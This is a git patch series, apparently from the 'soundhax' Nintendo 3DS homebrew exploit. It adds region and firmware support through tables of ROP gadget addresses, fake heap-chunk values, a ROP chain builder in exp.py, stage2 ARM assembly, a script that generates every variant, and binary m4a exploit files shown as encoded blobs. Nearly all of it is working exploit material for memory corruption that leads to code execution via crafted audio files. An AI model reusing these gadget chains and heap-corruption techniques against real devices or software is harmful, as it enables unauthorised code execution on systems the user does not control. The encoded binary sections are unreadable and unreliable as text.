#endif From 3b5e6fd0d15c4d481637b70b6d3a1c9b7ec4dcca Mon Sep 17 00:00:00 2001 From: TuxSH <1922548+TuxSH@users.noreply.github.com> Date: Thu, 3 Dec 2020 22:41:53 +0000 Subject: [PATCH 05/13] Remove redundant constants --- stage2.s | 6 ++---- stage2_constants_post3.0.h | 5 ----- stage2_constants_v2.1and2.2.h | 3 --- 3 files changed, 2 insertions(+), 12 deletions(-) diff --git a/stage2.s b/stage2.s index e41bbd0..4b658eb 100644 --- a/stage2.s +++ b/stage2.s @@ -21,10 +21,8 @@ _start: mov sp, #0x10000000 sub sp, #0x2C /* Tell GSP thread to fuck off. */ - ldr r0, =GSP_THREAD_OBJ_PTR -#if defined(GSP_THREAD_OBJ_PTR_OFFSET) - ldr r0, [r0, #GSP_THREAD_OBJ_PTR_OFFSET] -#endif + ldr r0, =GSP_GET_INTERRUPTRECEIVER + blx r0 mov r1, #1 strb r1, [r0, #0x77] ldr r0, [r0, #0x2C] diff --git a/stage2_constants_post3.0.h b/stage2_constants_post3.0.h index 82b2a90..16da44e 100644 --- a/stage2_constants_post3.0.h +++ b/stage2_constants_post3.0.h @@ -2,7 +2,6 @@ #if defined(USA) -#define GSP_THREAD_OBJ_PTR 0x003BFFF0 #define FS_OPEN_FILE 0x0022929C #define GSP_GET_HANDLE 0x0021C960 #define GSP_GET_INTERRUPTRECEIVER 0x001C805C @@ -20,7 +19,6 @@ #elif defined(EUR) -#define GSP_THREAD_OBJ_PTR 0x003C0010 #define FS_OPEN_FILE 0x0022929C #define GSP_GET_HANDLE 0x0021C960 #define GSP_GET_INTERRUPTRECEIVER 0x001C805C @@ -38,7 +36,6 @@ #elif defined(JPN) -#define GSP_THREAD_OBJ_PTR 0x003BFFB0 #define FS_OPEN_FILE 0x0022929C #define GSP_GET_HANDLE 0x0021C960 #define GSP_GET_INTERRUPTRECEIVER 0x001C805C @@ -56,7 +53,6 @@ #elif defined(KOR) -#define GSP_THREAD_OBJ_PTR 0x0038CA20 #define FS_OPEN_FILE 0x0022F094 #define GSP_GET_HANDLE 0x00223890 #define GSP_GET_INTERRUPTRECEIVER 0x00223880 @@ -68,7 +64,6 @@ #define SRV_SESSIONHANDLE 0x0038D1C4 #define SRV_SEMAPHORE 0x0038D1B4 -#define GSP_THREAD_OBJ_PTR_OFFSET 0x1C #define THREAD8_EVENT_HANDLE 0x003D3CEC #define THREAD8_OBJ 0x003D52A0 diff --git a/stage2_constants_v2.1and2.2.h b/stage2_constants_v2.1and2.2.h index 9fb558a..d7d41d4 100644 --- a/stage2_constants_v2.1and2.2.h +++ b/stage2_constants_v2.1and2.2.h @@ -2,7 +2,6 @@ #if defined(USA) -#define GSP_THREAD_OBJ_PTR 0x003BFFF0 #define FS_OPEN_FILE 0x0022929C #define GSP_GET_HANDLE 0x0021C960 #define GSP_GET_INTERRUPTRECEIVER 0x001C805C @@ -20,7 +19,6 @@ #elif defined(EUR) -#define GSP_THREAD_OBJ_PTR 0x003C0010 #define FS_OPEN_FILE 0x0022929C #define GSP_GET_HANDLE 0x0021C960 #define GSP_GET_INTERRUPTRECEIVER 0x001C805C @@ -38,7 +36,6 @@ #elif defined(JPN) -#define GSP_THREAD_OBJ_PTR 0x003BFFB0 #define FS_OPEN_FILE 0x0022929C #define GSP_GET_HANDLE 0x0021C960 #define GSP_GET_INTERRUPTRECEIVER 0x001C805C From 2d4a45e0d1c553760b27217a7f7fa98ffdf844d9 Mon Sep 17 00:00:00 2001 From: TuxSH <1922548+TuxSH@users.noreply.github.com> Date: Sun, 29 Nov 2020 20:59:33 +0000 Subject: [PATCH 06/13] Add support for CHN --- constants.py | 14 ++++++++++++++ exp.py | 6 +++--- stage2_constants_post3.0.h | 17 +++++++++++++++++ 3 files changed, 34 insertions(+), 3 deletions(-) diff --git a/constants.py b/constants.py index 61b7c70..3d32fd2 100644 --- a/constants.py +++ b/constants.py @@ -153,83 +153,97 @@ "eur": 0x00278000, "jpn": 0x00278000, "kor": 0x00291000, + "chn": 0x00291000, }, "fake_free_chunk": { "usa": 0x15D62F10, "eur": 0x15D62F10, "jpn": 0x15D62F10, "kor": 0x15D69A94, + "chn": 0x15D69A94, }, "fake_free_chunk_padding": { "usa": 0xCC, "eur": 0xCC, "jpn": 0xCC, "kor": 0xA4, + "chn": 0xA4, }, "heapctx": { "usa": 0x0039B560, "eur": 0x0039B580, "jpn": 0x0039B520, "kor": 0x003B4520, + "chn": 0x003B4520, }, "sleep_gadget": { "usa": 0x001B5A5C, "eur": 0x002F11C0, "jpn": 0x002F0F28, "kor": 0x0022EAF8, # The gadget isn't correct K/C/T so we use 1 in the called func. + "chn": 0x0022EB3C, }, "gpu_flushcache_gadget": { "usa": 0x002E2958, "eur": 0x002E2AC8, "jpn": 0x002E2830, "kor": 0x0012B730, + "chn": 0x0012B730, }, "gpu_enqueue_gadget": { "usa": 0x002E96FC, "eur": 0x002E9428, "jpn": 0x002E95D4, "kor": 0x00131B0C, + "chn": 0x00131B0C, }, "memcpy_gadget": { "usa": 0x0022DB1C, "eur": 0x0022DB1C, "jpn": 0x0022DB1C, "kor": 0x00228910, + "chn": 0x00228954, }, "pop_r0_pc": { "usa": 0x002e6f80, "eur": 0x002E70F0, "jpn": 0x002E6E58, "kor": 0x0012FA94, + "chn": 0x0012FA94, }, "pop_r1_pc": { "usa": 0x0022B6C8, "eur": 0x0022B6C8, "jpn": 0x0022B6C8, "kor": 0x002220E0, + "chn": 0x00222124, }, "payload_stack_addr": { "usa": 0x15D630C8, "eur": 0x15D630C8, "jpn": 0x15D630C8, "kor": 0x15D69C38, + "chn": 0x15D69C38, }, "stage2_code_va": { "usa": 0x002F5D00, "eur": 0x002F5D00, "jpn": 0x002F5D00, "kor": 0x002F5D00, + "chn": 0x002F5D00, }, "pop_r2_thru_r6_pc": { "usa": 0x0021462C, "eur": 0x00108910, "jpn": 0x0021462C, "kor": 0x00148740, + "chn": 0x00148748, }, "payload_heap_addr": { "usa": 0x14200000, "eur": 0x14200000, "jpn": 0x14200000, "kor": 0x14200000, + "chn": 0x14200000, } } diff --git a/exp.py b/exp.py index 7f901a1..6d49135 100644 --- a/exp.py +++ b/exp.py @@ -141,7 +141,7 @@ def code_va_to_gpu(va): rop += "cccc" # r5 rop += "dddd" # r6 rop += p(gpu_enqueue_gadget) -if REGION != 'kor': +if REGION not in ('kor', 'chn'): rop += "aaaa" # skipped rop += p(4) rop += p(payload_heap_addr) @@ -151,7 +151,7 @@ def code_va_to_gpu(va): rop += p(0) rop += p(8) rop += p(0) -if REGION == 'kor': +if REGION in ('kor', 'chn'): rop += "aaaa" # skipped (with KOR the above gxcmd buffer is at sp+0 instead of sp+4, but stackframe size is the same) rop += "AAAA" # r4 rop += "AAAA" # r5 @@ -159,7 +159,7 @@ def code_va_to_gpu(va): rop += "AAAA" # r7 rop += "AAAA" # r8 rop += "AAAA" # r9 -if REGION != 'kor': +if REGION not in ('kor', 'chn'): rop += "AAAA" # r10 rop += "AAAA" # r11 rop += p(pop_r0_pc) # pc diff --git a/stage2_constants_post3.0.h b/stage2_constants_post3.0.h index 16da44e..b85abb0 100644 --- a/stage2_constants_post3.0.h +++ b/stage2_constants_post3.0.h @@ -68,6 +68,23 @@ #define THREAD8_EVENT_HANDLE 0x003D3CEC #define THREAD8_OBJ 0x003D52A0 +#elif defined(CHN) + +#define FS_OPEN_FILE 0x0022F0D8 +#define GSP_GET_HANDLE 0x002238D4 +#define GSP_GET_INTERRUPTRECEIVER 0x002238C4 +#define GSP_ENQUEUE_CMD 0x002210E0 + +#define FS_READ_FILE 0x0010C83C +#define GSP_GX_CMD4 0x001318A0 +#define GSP_FLUSH_DATA_CACHE 0x0012B728 + +#define SRV_SESSIONHANDLE 0x0038D1C4 +#define SRV_SEMAPHORE 0x0038D1B4 + +#define THREAD8_EVENT_HANDLE 0x003D3CEC +#define THREAD8_OBJ 0x003D52A0 + #else #error "Region not supported for this system version range" #endif From d94d65930e93ec85d3dc84a159be662219ec4d2c Mon Sep 17 00:00:00 2001 From: TuxSH <1922548+TuxSH@users.noreply.github.com> Date: Mon, 30 Nov 2020 01:11:17 +0000 Subject: [PATCH 07/13] Add support for TWN --- constants.py | 14 ++++++++++++++ exp.py | 6 +++--- stage2_constants_post3.0.h | 17 +++++++++++++++++ 3 files changed, 34 insertions(+), 3 deletions(-) diff --git a/constants.py b/constants.py index 3d32fd2..12b68c7 100644 --- a/constants.py +++ b/constants.py @@ -154,6 +154,7 @@ "jpn": 0x00278000, "kor": 0x00291000, "chn": 0x00291000, + "twn": 0x0028D000, }, "fake_free_chunk": { "usa": 0x15D62F10, @@ -161,6 +162,7 @@ "jpn": 0x15D62F10, "kor": 0x15D69A94, "chn": 0x15D69A94, + "twn": 0x15D61E14, }, "fake_free_chunk_padding": { "usa": 0xCC, @@ -168,6 +170,7 @@ "jpn": 0xCC, "kor": 0xA4, "chn": 0xA4, + "twn": 0xA4, }, "heapctx": { "usa": 0x0039B560, @@ -175,6 +178,7 @@ "jpn": 0x0039B520, "kor": 0x003B4520, "chn": 0x003B4520, + "twn": 0x003B0540, }, "sleep_gadget": { "usa": 0x001B5A5C, @@ -182,6 +186,7 @@ "jpn": 0x002F0F28, "kor": 0x0022EAF8, # The gadget isn't correct K/C/T so we use 1 in the called func. "chn": 0x0022EB3C, + "twn": 0x0022EB28, }, "gpu_flushcache_gadget": { "usa": 0x002E2958, @@ -189,6 +194,7 @@ "jpn": 0x002E2830, "kor": 0x0012B730, "chn": 0x0012B730, + "twn": 0x0012B760, }, "gpu_enqueue_gadget": { "usa": 0x002E96FC, @@ -196,6 +202,7 @@ "jpn": 0x002E95D4, "kor": 0x00131B0C, "chn": 0x00131B0C, + "twn": 0x00131B3C, }, "memcpy_gadget": { "usa": 0x0022DB1C, @@ -203,6 +210,7 @@ "jpn": 0x0022DB1C, "kor": 0x00228910, "chn": 0x00228954, + "twn": 0x00228940, }, "pop_r0_pc": { "usa": 0x002e6f80, @@ -210,6 +218,7 @@ "jpn": 0x002E6E58, "kor": 0x0012FA94, "chn": 0x0012FA94, + "twn": 0x0012FAC4, }, "pop_r1_pc": { "usa": 0x0022B6C8, @@ -217,6 +226,7 @@ "jpn": 0x0022B6C8, "kor": 0x002220E0, "chn": 0x00222124, + "twn": 0x00222110, }, "payload_stack_addr": { "usa": 0x15D630C8, @@ -224,6 +234,7 @@ "jpn": 0x15D630C8, "kor": 0x15D69C38, "chn": 0x15D69C38, + "twn": 0x15D61FB8, }, "stage2_code_va": { "usa": 0x002F5D00, @@ -231,6 +242,7 @@ "jpn": 0x002F5D00, "kor": 0x002F5D00, "chn": 0x002F5D00, + "twn": 0x002F5D00, }, "pop_r2_thru_r6_pc": { "usa": 0x0021462C, @@ -238,6 +250,7 @@ "jpn": 0x0021462C, "kor": 0x00148740, "chn": 0x00148748, + "twn": 0x00148778, }, "payload_heap_addr": { "usa": 0x14200000, @@ -245,5 +258,6 @@ "jpn": 0x14200000, "kor": 0x14200000, "chn": 0x14200000, + "twn": 0x14200000, } } diff --git a/exp.py b/exp.py index 6d49135..352b4ac 100644 --- a/exp.py +++ b/exp.py @@ -141,7 +141,7 @@ def code_va_to_gpu(va): rop += "cccc" # r5 rop += "dddd" # r6 rop += p(gpu_enqueue_gadget) -if REGION not in ('kor', 'chn'): +if REGION not in ('kor', 'chn', 'twn'): rop += "aaaa" # skipped rop += p(4) rop += p(payload_heap_addr) @@ -151,7 +151,7 @@ def code_va_to_gpu(va): rop += p(0) rop += p(8) rop += p(0) -if REGION in ('kor', 'chn'): +if REGION in ('kor', 'chn', 'twn'): rop += "aaaa" # skipped (with KOR the above gxcmd buffer is at sp+0 instead of sp+4, but stackframe size is the same) rop += "AAAA" # r4 rop += "AAAA" # r5 @@ -159,7 +159,7 @@ def code_va_to_gpu(va): rop += "AAAA" # r7 rop += "AAAA" # r8 rop += "AAAA" # r9 -if REGION not in ('kor', 'chn'): +if REGION not in ('kor', 'chn', 'twn'): rop += "AAAA" # r10 rop += "AAAA" # r11 rop += p(pop_r0_pc) # pc diff --git a/stage2_constants_post3.0.h b/stage2_constants_post3.0.h index b85abb0..647b4ad 100644 --- a/stage2_constants_post3.0.h +++ b/stage2_constants_post3.0.h @@ -85,6 +85,23 @@ #define THREAD8_EVENT_HANDLE 0x003D3CEC #define THREAD8_OBJ 0x003D52A0 +#elif defined(TWN) + +#define FS_OPEN_FILE 0x0022F0C4 +#define GSP_GET_HANDLE 0x002238C0 +#define GSP_GET_INTERRUPTRECEIVER 0x002238B0 +#define GSP_ENQUEUE_CMD 0x002210CC + +#define FS_READ_FILE 0x0010C86C +#define GSP_GX_CMD4 0x001318D0 +#define GSP_FLUSH_DATA_CACHE 0x0012B758 + +#define SRV_SESSIONHANDLE 0x003891C4 +#define SRV_SEMAPHORE 0x003891B4 + +#define THREAD8_EVENT_HANDLE 0x003CFD0C +#define THREAD8_OBJ 0x003D12C0 + #else #error "Region not supported for this system version range" #endif From ce6e2b1cf4f7df1219559fee6cff2f02b5ec6048 Mon Sep 17 00:00:00 2001 From: TuxSH <1922548+TuxSH@users.noreply.github.com> Date: Mon, 30 Nov 2020 14:57:29 +0000 Subject: [PATCH 08/13] Add support for 1.x-2.0 EUR --- constants.py | 45 +++++++++++++++++++++++++++++++++++++++ exp.py | 19 ++++++++++++----- stage2.s | 4 +++- stage2_constants_pre2.1.h | 22 +++++++++++++++++++ 4 files changed, 84 insertions(+), 6 deletions(-) create mode 100644 stage2_constants_pre2.1.h diff --git a/constants.py b/constants.py index 12b68c7..10f1789 100644 --- a/constants.py +++ b/constants.py @@ -61,6 +61,51 @@ .text:002E9710 LDMFD SP!, {R4-R11,PC} """ +constants_pre_21 = { + "code_image_size": { + "eur": 0x00272000, + }, + "fake_free_chunk": { + "eur": 0x15D7AC80, + }, + "fake_free_chunk_padding": { + "eur": 0x14, + }, + "heapctx": { + "eur": 0x00395580, + }, + "sleep_gadget": { + "eur": 0x002F0E44, + }, + "gpu_flushcache_gadget": { + "eur": 0x002E53E8, + }, + "gpu_enqueue_gadget": { + "eur": 0x002EB06C, + }, + "memcpy_gadget": { + "eur": 0x0022CF70, + }, + "pop_r0_pc": { + "eur": 0x002E8F14, + }, + "pop_r1_pc": { + "eur": 0x0022A7D4, + }, + "payload_stack_addr": { + "eur": 0x15D7AD90, + }, + "stage2_code_va": { + "eur": 0x002F6D00, + }, + "pop_r2_thru_r6_pc": { + "eur": 0x00107F98, + }, + "payload_heap_addr": { + "eur": 0x14200000, + } +} + constants_21_22 = { "code_image_size": { # same diff --git a/exp.py b/exp.py index 352b4ac..b8e8527 100644 --- a/exp.py +++ b/exp.py @@ -3,7 +3,7 @@ import sys from struct import pack from subprocess import call -from constants import STAGE2_SIZE, OTHERAPP_CODE_VA, constants_21_22, constants_3x_and_later +from constants import STAGE2_SIZE, OTHERAPP_CODE_VA, constants_pre_21, constants_21_22, constants_3x_and_later from os import environ, path, name as osname REGION = "usa" @@ -22,14 +22,22 @@ if TYPE not in ("old", "new"): print("Error: invalid console type: {}".format(TYPE)) sys.exit(1) +if FIRM not in ("pre21", "v21and22", "v3xand4x", "post5"): + print("Error: invalid system version range: {}".format(FIRM)) + sys.exit(1) if TYPE == "new" and FIRM != "post5": print("Error: can only use \"post5\" for N3DS") sys.exit(1) -if FIRM == "v21and22" and REGION not in ("usa", "eur", "jpn"): +if FIRM in ("pre21", "v21and22") and REGION not in ("usa", "eur", "jpn"): print("Error: {} can only be used for USA/EUR/JPN regions".format(FIRM)) sys.exit(1) -constants = constants_3x_and_later if FIRM != "v21and22" else constants_21_22 +constants = { + "pre21": constants_pre_21, + "v21and22": constants_21_22, + "v3xand4x": constants_3x_and_later, + "post5": constants_3x_and_later, +}[FIRM] for name, regions in constants.items(): if REGION not in regions: @@ -263,8 +271,9 @@ def internal(tree): fn = './soundhax-{}-{}.m4a'.format(REGION, "n3ds") else: assert TYPE == "old" - - if FIRM == "v21and22": + if FIRM == "pre21": + fn = './soundhax-{}-{}-{}.m4a'.format(REGION, "o3ds", "pre2.1") + elif FIRM == "v21and22": fn = './soundhax-{}-{}-{}.m4a'.format(REGION, "o3ds", "v2.1and2.2") elif FIRM == "v3xand4x": fn = './soundhax-{}-{}-{}.m4a'.format(REGION, "o3ds", "v3.xand4.x") diff --git a/stage2.s b/stage2.s index 4b658eb..7690d09 100644 --- a/stage2.s +++ b/stage2.s @@ -1,7 +1,9 @@ /* soundhax stage 2 */ /* ported by nedwill from freakyhax (plutoo), with permission */ -#ifdef V21AND22 +#if defined(PRE21) +#include "stage2_constants_pre2.1.h" +#elif defined(V21AND22) #include "stage2_constants_v2.1and2.2.h" #else #include "stage2_constants_post3.0.h" diff --git a/stage2_constants_pre2.1.h b/stage2_constants_pre2.1.h new file mode 100644 index 0000000..3f25104 --- /dev/null +++ b/stage2_constants_pre2.1.h @@ -0,0 +1,22 @@ +/* stage2 constants for system versions v1.0, v1.1 and v2.0 */ + +#if defined(EUR) + +#define FS_OPEN_FILE 0x00227B10 +#define GSP_GET_HANDLE 0x0021AE54 +#define GSP_GET_INTERRUPTRECEIVER 0x001C7618 +#define GSP_ENQUEUE_CMD 0x001C62B8 + +#define FS_READ_FILE 0x002C838C +#define GSP_GX_CMD4 0x002EB144 +#define GSP_FLUSH_DATA_CACHE 0x002E53E0 + +#define SRV_SESSIONHANDLE 0x00370BF8 +#define SRV_SEMAPHORE 0x00370BE8 + +#define THREAD8_EVENT_HANDLE 0x00370BF8 +#define THREAD8_OBJ 0x003AD6B0 + +#else +#error "Region not supported for this system version range" +#endif From 50bc1813768d373660ad2cd5aec187145d19a5e6 Mon Sep 17 00:00:00 2001 From: TuxSH <1922548+TuxSH@users.noreply.github.com> Date: Wed, 2 Dec 2020 22:55:22 +0000 Subject: [PATCH 09/13] Add support for 1.x-2.0 USA --- constants.py | 14 ++++++++++++++ stage2_constants_pre2.1.h | 19 ++++++++++++++++++- 2 files changed, 32 insertions(+), 1 deletion(-) diff --git a/constants.py b/constants.py index 10f1789..bab371c 100644 --- a/constants.py +++ b/constants.py @@ -63,45 +63,59 @@ constants_pre_21 = { "code_image_size": { + "usa": 0x00272000, "eur": 0x00272000, }, "fake_free_chunk": { + "usa": 0x15D7AC80, "eur": 0x15D7AC80, }, "fake_free_chunk_padding": { + "usa": 0x14, "eur": 0x14, }, "heapctx": { + "usa": 0x00395560, "eur": 0x00395580, }, "sleep_gadget": { + "usa": 0x002F0CD4, "eur": 0x002F0E44, }, "gpu_flushcache_gadget": { + "usa": 0x002E5278, "eur": 0x002E53E8, }, "gpu_enqueue_gadget": { + "usa": 0x002EAEFC, "eur": 0x002EB06C, }, "memcpy_gadget": { + "usa": 0x0022CDE0, "eur": 0x0022CF70, }, "pop_r0_pc": { + "usa": 0x002E8DA4, "eur": 0x002E8F14, }, "pop_r1_pc": { + "usa": 0x0022A644, "eur": 0x0022A7D4, }, "payload_stack_addr": { + "usa": 0x15D7AD90, "eur": 0x15D7AD90, }, "stage2_code_va": { + "usa": 0x002F6D00, "eur": 0x002F6D00, }, "pop_r2_thru_r6_pc": { + "usa": 0x00107F98, "eur": 0x00107F98, }, "payload_heap_addr": { + "usa": 0x14200000, "eur": 0x14200000, } } diff --git a/stage2_constants_pre2.1.h b/stage2_constants_pre2.1.h index 3f25104..9f8bafc 100644 --- a/stage2_constants_pre2.1.h +++ b/stage2_constants_pre2.1.h @@ -1,6 +1,23 @@ /* stage2 constants for system versions v1.0, v1.1 and v2.0 */ -#if defined(EUR) +#if defined(USA) + +#define FS_OPEN_FILE 0x00227980 +#define GSP_GET_HANDLE 0x0021ACC4 +#define GSP_GET_INTERRUPTRECEIVER 0x001C74C8 +#define GSP_ENQUEUE_CMD 0x001C616C + +#define FS_READ_FILE 0x002C8254 +#define GSP_GX_CMD4 0x002EAFD4 +#define GSP_FLUSH_DATA_CACHE 0x002E5270 + +#define SRV_SESSIONHANDLE 0x00370BF8 +#define SRV_SEMAPHORE 0x00370BE8 + +#define THREAD8_EVENT_HANDLE 0x003AC340 +#define THREAD8_OBJ 0x003AD690 + +#elif defined(EUR) #define FS_OPEN_FILE 0x00227B10 #define GSP_GET_HANDLE 0x0021AE54 From 668b0ad3602f6f2a58def567797970dfb676ddaf Mon Sep 17 00:00:00 2001 From: TuxSH <1922548+TuxSH@users.noreply.github.com> Date: Thu, 3 Dec 2020 21:11:49 +0000 Subject: [PATCH 10/13] Add support for 1.x-2.0 JPN --- constants.py | 14 ++++++++++++++ stage2_constants_pre2.1.h | 17 +++++++++++++++++ 2 files changed, 31 insertions(+) diff --git a/constants.py b/constants.py index bab371c..56b8cb2 100644 --- a/constants.py +++ b/constants.py @@ -65,58 +65,72 @@ "code_image_size": { "usa": 0x00272000, "eur": 0x00272000, + "jpn": 0x00272000, }, "fake_free_chunk": { "usa": 0x15D7AC80, "eur": 0x15D7AC80, + "jpn": 0x15D7AC80, }, "fake_free_chunk_padding": { "usa": 0x14, "eur": 0x14, + "jpn": 0x14, }, "heapctx": { "usa": 0x00395560, "eur": 0x00395580, + "jpn": 0x00395520, }, "sleep_gadget": { "usa": 0x002F0CD4, "eur": 0x002F0E44, + "jpn": 0x002F0BAC, }, "gpu_flushcache_gadget": { "usa": 0x002E5278, "eur": 0x002E53E8, + "jpn": 0x002E5150, }, "gpu_enqueue_gadget": { "usa": 0x002EAEFC, "eur": 0x002EB06C, + "jpn": 0x002EADD4, }, "memcpy_gadget": { "usa": 0x0022CDE0, "eur": 0x0022CF70, + "jpn": 0x0022CDE0, }, "pop_r0_pc": { "usa": 0x002E8DA4, "eur": 0x002E8F14, + "jpn": 0x002E8C7C, }, "pop_r1_pc": { "usa": 0x0022A644, "eur": 0x0022A7D4, + "jpn": 0x0022A644, }, "payload_stack_addr": { "usa": 0x15D7AD90, "eur": 0x15D7AD90, + "jpn": 0x15D7AD90, }, "stage2_code_va": { "usa": 0x002F6D00, "eur": 0x002F6D00, + "jpn": 0x002F6D00, }, "pop_r2_thru_r6_pc": { "usa": 0x00107F98, "eur": 0x00107F98, + "jpn": 0x00107F98, }, "payload_heap_addr": { "usa": 0x14200000, "eur": 0x14200000, + "jpn": 0x14200000, } } diff --git a/stage2_constants_pre2.1.h b/stage2_constants_pre2.1.h index 9f8bafc..eae6a6d 100644 --- a/stage2_constants_pre2.1.h +++ b/stage2_constants_pre2.1.h @@ -34,6 +34,23 @@ #define THREAD8_EVENT_HANDLE 0x00370BF8 #define THREAD8_OBJ 0x003AD6B0 +#elif defined(JPN) + +#define FS_OPEN_FILE 0x00227980 +#define GSP_GET_HANDLE 0x0021ACC4 +#define GSP_GET_INTERRUPTRECEIVER 0x001C74C8 +#define GSP_ENQUEUE_CMD 0x001C616C + +#define FS_READ_FILE 0x002C812C +#define GSP_GX_CMD4 0x002EAEAC +#define GSP_FLUSH_DATA_CACHE 0x002E5148 + +#define SRV_SESSIONHANDLE 0x00370BF8 +#define SRV_SEMAPHORE 0x00370BE8 + +#define THREAD8_EVENT_HANDLE 0x003AC300 +#define THREAD8_OBJ 0x003AD650 + #else #error "Region not supported for this system version range" #endif From e96098cf9992a1a6a0218b4f28fb946650f6135b Mon Sep 17 00:00:00 2001 From: TuxSH <1922548+TuxSH@users.noreply.github.com> Date: Thu, 3 Dec 2020 23:21:36 +0000 Subject: [PATCH 11/13] Add/update all M4A files, add script --- generate_all.sh | 35 +++++++++++++++++++++++++++++++ soundhax-chn-o3ds-post5.0.m4a | Bin 0 -> 2783 bytes soundhax-chn-o3ds-v3.xand4.x.m4a | Bin 0 -> 2783 bytes soundhax-eur-n3ds.m4a | Bin 2831 -> 2831 bytes soundhax-eur-o3ds-post5.0.m4a | Bin 2831 -> 2831 bytes soundhax-eur-o3ds-pre2.1.m4a | Bin 0 -> 2647 bytes soundhax-eur-o3ds-v2.1and2.2.m4a | Bin 2831 -> 2831 bytes soundhax-eur-o3ds-v3.xand4.x.m4a | Bin 2831 -> 2831 bytes soundhax-jpn-n3ds.m4a | Bin 2831 -> 2831 bytes soundhax-jpn-o3ds-post5.0.m4a | Bin 2831 -> 2831 bytes soundhax-jpn-o3ds-pre2.1.m4a | Bin 0 -> 2647 bytes soundhax-jpn-o3ds-v2.1and2.2.m4a | Bin 2831 -> 2831 bytes soundhax-jpn-o3ds-v3.xand4.x.m4a | Bin 2831 -> 2831 bytes soundhax-kor-n3ds.m4a | Bin 2783 -> 2783 bytes soundhax-kor-o3ds-post5.0.m4a | Bin 2783 -> 2783 bytes soundhax-kor-o3ds-v3.xand4.x.m4a | Bin 2783 -> 2783 bytes soundhax-twn-o3ds-post5.0.m4a | Bin 0 -> 2783 bytes soundhax-twn-o3ds-v3.xand4.x.m4a | Bin 0 -> 2783 bytes soundhax-usa-n3ds.m4a | Bin 2831 -> 2831 bytes soundhax-usa-o3ds-post5.0.m4a | Bin 2831 -> 2831 bytes soundhax-usa-o3ds-pre2.1.m4a | Bin 0 -> 2647 bytes soundhax-usa-o3ds-v2.1and2.2.m4a | Bin 2831 -> 2831 bytes soundhax-usa-o3ds-v3.xand4.x.m4a | Bin 2831 -> 2831 bytes 23 files changed, 35 insertions(+) create mode 100755 generate_all.sh create mode 100644 soundhax-chn-o3ds-post5.0.m4a create mode 100644 soundhax-chn-o3ds-v3.xand4.x.m4a create mode 100644 soundhax-eur-o3ds-pre2.1.m4a create mode 100644 soundhax-jpn-o3ds-pre2.1.m4a create mode 100644 soundhax-twn-o3ds-post5.0.m4a create mode 100644 soundhax-twn-o3ds-v3.xand4.x.m4a create mode 100644 soundhax-usa-o3ds-pre2.1.m4a diff --git a/generate_all.sh b/generate_all.sh new file mode 100755 index 0000000..57f8337 --- /dev/null +++ b/generate_all.sh @@ -0,0 +1,35 @@ +#!/bin/bash + +# There is no New3DS model for CHN/TWN + +# N3DS (post5) +python exp.py usa new +python exp.py eur new +python exp.py jpn new +python exp.py kor new + +# O3DS (post5) +python exp.py usa old post5 +python exp.py eur old post5 +python exp.py jpn old post5 +python exp.py kor old post5 +python exp.py chn old post5 +python exp.py twn old post5 + +# O3DS (v3xand4x) +python exp.py usa old v3xand4x +python exp.py eur old v3xand4x +python exp.py jpn old v3xand4x +python exp.py kor old v3xand4x +python exp.py chn old v3xand4x +python exp.py twn old v3xand4x + +# O3DS (v21and22) +python exp.py usa old v21and22 +python exp.py eur old v21and22 +python exp.py jpn old v21and22 + +# O3DS (pre21) +python exp.py usa old pre21 +python exp.py eur old pre21 +python exp.py jpn old pre21 diff --git a/soundhax-chn-o3ds-post5.0.m4a b/soundhax-chn-o3ds-post5.0.m4a new file mode 100644 index 0000000000000000000000000000000000000000..897a297e8a7e464473775c24c5cd909c94ccd9e6 GIT binary patch literal 2783 zcmeHIO=uit7=AXpsoS!FA=#Knw`HGL;H02;wa+l~zTfly zeBbxZeD46zm)&dC3lq~i2$7}gMAmjHB^eWkOUiU9k9=LKRIav(t1F7~P@h{fuK=+v z_sWWz{}*8WQ9swMCr3xpn7ny+@cf5KAPVG(0-*?tSok;%lX#L}CN2}_FIP7KM1~}O=6dT2MIJ=TiPeBi0=6} zX&-0ag!Xw5Cl7KkJpZE{<8sX)`j+R%DBtIJf_}a5c8l6Z5Pi|}$C&FRZ^hiQHpcDt zMm>L#_LSBL7ASSf^LnGz)*D2&- z)1!@tx*zG0b$I>}*5)|p)N(KVth2td=U9$5?lq=0r4~U#Zw8vt43fO#v<=giqTa_E zM7VFAd(ax+-j^KA$y}WpEuzticXhGLo_4e}#IHJc?6*d4t)+9%(AR<()`GaU79`Pm zcUi6rnD=8?|3YFLNMM_FnEjuE?~Px8V7(){Pu3r3KSJ~q<6Ou@=h>37O;UPEwHq70 z{BCYmZs4^>DF4WcD%SQxol3p?@$56eA0@lI%%SF#I*GcbQPts7s%D8@AWKTrYel`Q zZ#izhNd2X1^k#V%qXrx(}7-cdy2sQ#dYTvzN zdXn)&6cMT0VNUZNC59c>ZO2lV{LizY3!ik{LPZop_!GQS3@Qjg2-o!&8T+)ZT$A!f z$r9Pdfr7EfHM3fkJ?X2kv#(5!Oh&I1iFzUV)Y zBXM*9G0r4&VgC0anPVUEt|Iwo{sx`=&}5y0>3f~^0N)SEI&o#}hJoL{ArEqWS1QV_rD!m(c)*|nC=Jwsm$Vpt2}+FFoA z=iOzvE@07*Vf_<{Z6JYd)?w~{3cfdf0fP08=ssD0p#2EZkBqY+6P@Qu$~H;qCDm?h z`1GrVIk|zC8ln87E2>!A4|OW_?#Hvw0DqM1a)Cq5DRmNcO=GIVkEog@c7ZG@QLh#C zuD<2Cxgzz;j_XKw6^PH9Y{#-Vfs8xok+#!W9>s*^C`ZQ8Mx&8pU1F5U>>$_(@SuJ7 zlIcmt4^c#4aq|^X2;oog9$`>k2tv57zsT5!b>*6r zH%gYsHVzbwMXs6Es_bzevAkV$_-~1x+AN#=-$b9`uSSBI5ZHS-jS1*HqZZHbDo<;X zmyQe!oW@ydkFUoS_^(%B_KnVIS)6+j>mS`6p4C{qVa zcGnXK zMy#XC&P$JcDr}v6{>;oPXQ$fXbWqkmIV`xPT9pp3hBMTw#fquYma^Sh+i`1luI^gt Rf?adMW5>!@%IYr%{0Za@K8FAR literal 0 HcmV?d00001 diff --git a/soundhax-eur-n3ds.m4a b/soundhax-eur-n3ds.m4a index 812f13655cd38358c00c2a405f28340091751736..57dc12aac6262b5ad56f1377b65fe297d33b434a 100644 GIT binary patch delta 693 zcmc&wze`(D7(Fj}!PgSuQbP!-Q}Qks5)19p!KvxF=$|0?!R3ALobQ}_zT3<;vj^pR^?s{z zr`NZ#)@dC==GR$RE5f>v$~&*bJ#@4`D)ucQ)wVd+9u9O4_;W^_^J<*fiRo`~K&nad 